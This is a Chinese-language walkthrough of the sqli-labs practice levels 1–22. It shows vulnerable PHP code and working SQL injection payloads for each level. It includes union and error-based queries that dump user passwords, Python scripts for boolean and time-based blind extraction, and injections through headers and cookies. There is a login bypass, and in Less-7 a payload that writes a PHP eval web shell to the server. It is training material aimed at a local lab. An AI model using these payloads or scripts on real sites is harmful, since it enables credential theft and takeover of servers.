自己在sqli注入方面还是有点薄弱,准备花点时间补补。

Less-1

单引号注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

tips
基本信息

1
2
3
4
5
6
7
8
9
user():当前数据库用户
database():当前数据库名
version():当前使用的数据库版本
@@datadir:数据库存储数据路径
length(str) :返回字符串str的长度
information_schema //系统数据库,记录当前数据库的数据库,表,列,用户权限等信息
SCHEMATA//储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等
TABLES//储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等
COLUMNS//储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

字符串连接函数

1
2
3
concat(str1,str2) //将字符串首尾相连
concat_ws(separator,str1,str2) //将字符串用指定连接符连接
group_concat()//用于把多条数据一次注入出来

answer:
判断表的字段数。从1到4,当数字为4时,报错,可知字段为3

1
http://192.168.3.7/sqli/Less-1/?id=1' order by 4 --+

判断显示位。可以得到显示位为2,3

1
http://192.168.3.7/sqli/Less-1/?id=-1' union select 1,2,3 --+

得到数据库名security

1
http://192.168.3.7/sqli/Less-1/?id=-1' union select 1,database(),3 --+

得到表名emails,referers,uagents,users

1
http://192.168.3.7/sqli/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+

得到列名id,username,password

1
http://192.168.3.7/sqli/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

得到数据

1
http://192.168.3.7/sqli/Less-1/?id=-1' union select 1,(select group_concat(username,0x23,password) from users),3 --+

Less-2

整形注入

1
2
3
4
5
<?php
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
?>

answer:

1
http://192.168.3.7/sqli/Less-2/?id=1 --+

Less-3

单引号和括号注入

1
2
3
4
5
<?php
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
?>

answer:

1
http://192.168.3.7/sqli/Less-3/?id=1') --+

Less-4

双引号注入和括号注入

1
2
3
4
5
6
<?php
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
?>

answer:

1
http://192.168.3.7/sqli/Less-4/?id=1") --+

Less-5

布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

tips:
常见的截取函数

1
2
3
4
5
left(str,len)  //从左边开始截取len个字符   
right(str,len) //从右边第index开始截取字符
substring(str,pos) //从左边index开始截取 注意这里的pos位置是从1开始的,不是数组的0开始
substr(str, pos, len) //将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len) //截取str 从index开始,截取len的长度 注意这里的pos位置是从1开始的,不是数组的0开始

比较函数:

1
2
strcmp(expr1,expr2) //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1     
find_in_set(str,strlist) //如果相同则返回1不同则返回0

answer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

def binary():
url="http://192.168.3.7/sqli/Less-5/?id=1"
#payload="1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))<{} --+"
#payload = "1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit {},1),{},1))<{} --+"
payload="1' and ascii(substr((select password from users limit {},1),{},1))<{} --+"
for i in range(8):
info=""
for j in range(1,40):
left=0x20
right=0x7f
while 1:
mid=left+(right-left)//2
if mid==left:
#print(mid)
info=info+chr(mid)
print(info)
break
tmppayload=payload.format(i,j,mid)
tmpurl=url+tmppayload
res=requests.get(tmpurl)
if 'You are in' in res.text:
right=mid
else:
left=mid

binary()

Less-6

双引号报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="3" color= "#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

answer:

得到数据库名

1
http://192.168.3.7/sqli/Less-6/?id=1" union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a  --+

得到表名

1
http://192.168.3.7/sqli/Less-6/?id=1" union select count(*),2,concat(':',(select group_concat(table_name) from information_schema.tables where table_schema=database()),':',floor(rand()*2))as a from information_schema.tables group by a  --+

得到列名

1
http://192.168.3.7/sqli/Less-6/?id=1" union select count(*),2,concat(':',(select group_concat(column_name) from information_schema.columns where table_name='users'),':',floor(rand()*2))as a from information_schema.tables group by a  --+

得到数据

1
http://192.168.3.7/sqli/Less-6/?id=1" union select count(*),2,concat(':',(select concat(username,0x23,password) from users limit 0,1),':',floor(rand()*2))as a from information_schema.tables group by a  --+

Less-7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

tips
数据库用户权限判断

1
2
and (select count(*) from mysql.user)>0 --+ 如果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0 --+ 返回错误,数据库帐户较低。

secure_file_priv
这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户这些操作需要用户具有FILE权限。

secure_file_priv的三种取值:

1
2
3
如果这个参数为空,这个变量没有效果; 
如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;
如果这个参数为NULL,MySQL服务会禁止导入和导出操作

获取路径函数:

1
2
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

文件函数:

1
2
?id=1' union select 1,2,load_file('/etc/init.d/httpd')  //读取文件
select xxoo into outfile '路径' //权限较高时可直接写文件

answer:
可以使用盲注,当题目的本意应该是让我们使用outfile函数,这里web站点的安装路径无法通过报错提出,只能靠猜解。

1
http://192.168.3.7/sqli/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST[ye1s]); ?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli\\shell.php' --+

Less-8

布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

answer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
def and_operation():
url="http://192.168.3.7/sqli/Less-8/?id=1"
# &运算要注意编码,特别是get请求的时候,会跟参数的分隔符&混淆
#payload = "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))%26{} --+"
#payload = "' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit {},1),{},1))%26{} --+"
payload="' and ascii(substr((select concat(username,0x23,password )from users limit {},1),{},1))%26{} -- +"
for i in range(8):
info=""
for j in range(1,40):
value=0
for k in range(7):
tmppayload=payload.format(i,j,2**k)
tmpurl=url+tmppayload
res=requests.get(tmpurl)
if 'You are in' in res.text:
value=value+(2**k)
if value==0:
break
info=info+chr(value)
print(info)

and_operation()

Less-9

时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

不管sql语句的执行结果如何都会返回同样的信息,这个时候只能使用时间盲注。
tips:
延迟函数

1
2
sleep(duration) //暂停duration秒
benchmark(count,expr) //重复执行count次expr

条件语句

1
2
3
4
if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3
select case when 条件 then 代码1 else 代码 2 end
IFNULL(expression, alt_value) 如果第一个参数的表达式 expression 为 NULL,则返回第二个参数的备用值。
NULLIF(expr1, expr2) 比较两个字符串,如果字符串 expr1 与 expr2 相等 返回 NULL,否则返回 expr1

answer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time
def binary():
url="http://192.168.3.7/sqli/Less-9/?id=1"
#payload="' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))<{} --+"
#payload = "' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit {},1),{},1))<{} --+"
payload="' and if(ascii(substr((select password from users limit {},1),{},1))<{},sleep(2),1) --+"
for i in range(8):
info=""
flag=0#判断是否数字的末尾
for j in range(1,40):
if flag==1:
break
left=0x20
right=0x7f
while 1:
mid=left+(right-left)//2
if mid==left:
#print(mid)
if mid==0x20:
flag=1
break
info=info+chr(mid)
print(info)
break
tmppayload=payload.format(i,j,mid)
tmpurl=url+tmppayload
startTime=time.time()
res=requests.get(tmpurl)
endTime=time.time()
spendTime=endTime-startTime
if spendTime>=2:
right=mid
else:
left=mid

binary()

Less-10

双引号时间盲注

Less-11

登录框的报错注入 或万能密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php 
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';

echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}

?>

answer:
报错注入

1
2
3
POST /sqli/Less-11/

uname=admin' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) --+&passwd=sdf&submit=Submit

万能密码

1
2
3
POST /sqli/Less-11/

uname=admin' --+&passwd=sdf&submit=Submit

Less-12

报错注入或 万能密码
“)注入

Less-13

‘)报错注入

Less-14

“报错注入

1
2
3
POST /sqli/Less-14/ 

uname=sdf" and (extractvalue(1,concat(0x7e,(select database()),0x7e))) --+&passwd=sdf&submit=Submit

Less-15

单引号时间盲注
answer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time
def binary():
url="http://192.168.3.7/sqli/Less-15/"
payload="admin' and case when (ascii(substr((select concat(table_name) from information_schema.tables where table_schema=database() limit {} ,1),{},1))<{}) then sleep(3) else 1 end -- +"
for i in range(10):
info = ""
for j in range(0,40):
flag=0
left=0x1f
right=0x7f
while 1:
mid=left+(right-left)//2
if mid==left:
if mid==0x1f:
flag=1
break
info=info+chr(mid)
print(info)
break
data={
'uname': payload.format(i,j,mid),
'passwd': "ye1s",
'submit': 'Submit'
}
# print(payload.format(i,j,mid))
startTime=time.time()
requests.post(url=url,data=data)
endTime=time.time()
spendTime=endTime-startTime
if spendTime>=3:
right=mid
else:
left=mid

binary()

Less-16

“) 时间盲注

Less-17

报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}

$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
$row1 = $row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg" />';
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}

get_magic_quotes_gpc 获取当前 magic_quotes_gpc的配置选项设置。
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,:。在magic_quotes_gpc=On的情况下,如果post、get、cookie请求的数据有
单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)等字符都会被加上反斜线(\)。 php5.4后被移除。
这里对uname的长度进行截取,只为15字符。
对uname注入无法入手,只能从passwd入手,为了能执行第二条密码更新的sql语句,uname的取值,必须了已存在的用户。

answer:

1
2
3
POST /sqli/Less-17/

uname=admin&passwd=admin' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) --+ &submit=Submit

Less-18

User-Agent的头部注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";

}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}

}

这里并不是URL而是HTTP头,所以+并不会被转义为(空格),于是末尾的注释符号要变为#。
answer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /sqli/Less-18/ HTTP/1.1
Host: 192.168.3.7
User-Agent: Mozilla' or updatexml(1,concat('#',(database())),0),'','') #
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.3.7
Connection: close
Referer: http://192.168.3.7/sqli/Less-18/
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

Less-19

1
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

tips:

使用逻辑运算符(and or xor && ||)

1
2
mysql> insert into users values (3,'name' xor updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

使用算数运算符(+ – * /)

1
2
mysql> insert into users values (3,'name'+updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

使用位运算符连接(| &)

1
2
mysql> insert into users values (3,'name'&updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

新式MySQL Injection in Update, Insert and Delete

answer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /sqli/Less-19/ HTTP/1.1
Host: 192.168.3.7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.3.7
Connection: close
Referer: http://192.168.3.7/sqli/Less-19/' and updatexml(2,concat(0x7e,(database())),0) and '
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

Less-20

首先要想登录成功,获取cookie后,再对cookie进行报错注入

1
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

answer:

1
2
3
4
5
6
7
8
9
GET /sqli/Less-20/index.php HTTP/1.1
Host: 192.168.3.7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: uname=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
Upgrade-Insecure-Requests: 1

Less-21

cookie注入 ,base64编码 ,’)

1
2
3
$cookee = base64_decode($cookee);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

Less-22

cookie注入,base64编码,”

1
2
3
4
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";